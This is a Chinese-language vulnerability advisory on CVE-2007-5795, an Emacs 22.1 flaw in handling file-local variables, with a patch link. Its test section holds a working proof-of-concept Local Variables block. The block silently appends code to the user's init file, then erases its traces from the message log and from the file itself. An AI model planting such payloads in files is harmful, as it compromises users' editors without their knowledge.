安全研究
安全漏洞
GNU Emacs Local变量处理代码执行漏洞
发布日期:2007-11-02
更新日期:2007-11-06
受影响系统:GNU Emacs 22.1
描述:
BUGTRAQ ID:
26327
CVE(CAN) ID:
CVE-2007-5795
Emacs是一个可扩展的实时显示编辑器。
Emacs的实现上存在漏洞,攻击者可能利用此漏洞在用户系统上执行恶意代码。
如果将enable-local-variables设置为:safe的话,则Emacs中的hack-local-variables函数可能无法正确地搜索不安全变量的列表,当用户打开了包含有Local变量声明的特制文件时,攻击者就可以绕过限制修改关键程序变量,导致执行任意Emacs Lisp代码。
<*来源:Drake Wilson (
drake@begriffli.ch)
链接:
http://secunia.com/advisories/27508/
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=449008
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
| Local variaboles:
| hack-local-variables-hook: ((lambda () (save-excursion (with-temp-buffer (insert "\n(run-with-timer 1 nil (lambda () (beep) (message \"Your Emacs init file is compromised!\")))") (append-to-file (point-min) (point-max) user-init-file)) (message nil) (with-current-buffer (get-buffer "*Messages*") (when (search-backward (concat "Added to " user-init-file) nil t) (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))))) (goto-char (point-max)) (search-backward "| hack-local-variables-hook") (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))) (insert "| mode: text\n") (set-buffer-modified-p nil) (text-mode))))
| End:
建议:
厂商补丁:
GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://cvs.savannah.gnu.org/viewvc/emacs/emacs/lisp/files.el?r1=1.896.2.28&r2=1.896.2.29浏览次数:2407
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载 绿盟科技给您安全的保障 |